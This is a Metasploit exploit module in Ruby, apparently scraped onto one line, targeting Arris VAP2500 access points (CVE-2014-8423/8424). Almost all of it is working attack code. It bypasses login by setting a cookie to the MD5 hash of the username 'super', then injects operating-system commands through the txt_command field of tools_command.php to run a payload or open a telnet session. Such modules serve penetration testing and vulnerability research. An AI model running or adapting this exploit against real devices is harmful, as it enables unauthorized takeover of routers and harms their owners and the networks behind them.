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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Arris VAP2500 tools_command.php Command Execution', 'Description' => %q{ Arris VAP2500 access points are vulnerable to OS command injection in the web management portal via the tools_command.php page. Though authentication is required to access this page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid username. }, 'Author' => [ 'HeadlessZeke' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-8423'], ['CVE', '2014-8424'], ['OSVDB', '115045'], ['OSVDB', '115046'], ['BID', '71297'], ['BID', '71299'], ['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/'] ], 'DisclosureDate' => 'Nov 25 2014', 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0 )) end def check begin res = send_request_raw({ 'method' => 'GET', 'uri' => '/tools_command.php', 'cookie' => "p=#{Rex::Text.md5('super')}" }) if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ return Exploit::CheckCode::Vulnerable end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Trying to access the device ...") unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device") end print_status("#{peer} - Exploiting...") if datastore['PAYLOAD'] == 'cmd/unix/generic' exploit_cmd else exploit_session end end def exploit_cmd beg_boundary = rand_text_alpha(8) end_boundary = rand_text_alpha(8) begin res = send_request_cgi({ 'uri' => normalize_uri('/', 'tools_command.php'), 'vars_post' => { 'cmb_header' => '', 'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}" }, 'method' => 'POST', 'cookie' => "p=#{Rex::Text.md5('super')}" }) if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ print_good("#{peer} - Command sent successfully") if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m print_status("#{peer} - Command output: #{$1}") end else fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed") end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end def exploit_session begin send_request_cgi({ 'uri' => normalize_uri('/', 'tools_command.php'), 'vars_post' => { 'cmb_header' => '', 'txt_command' => "#{payload.encoded}" }, 'method' => 'POST', 'cookie' => "p=#{Rex::Text.md5('super')}" }, 3) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end Source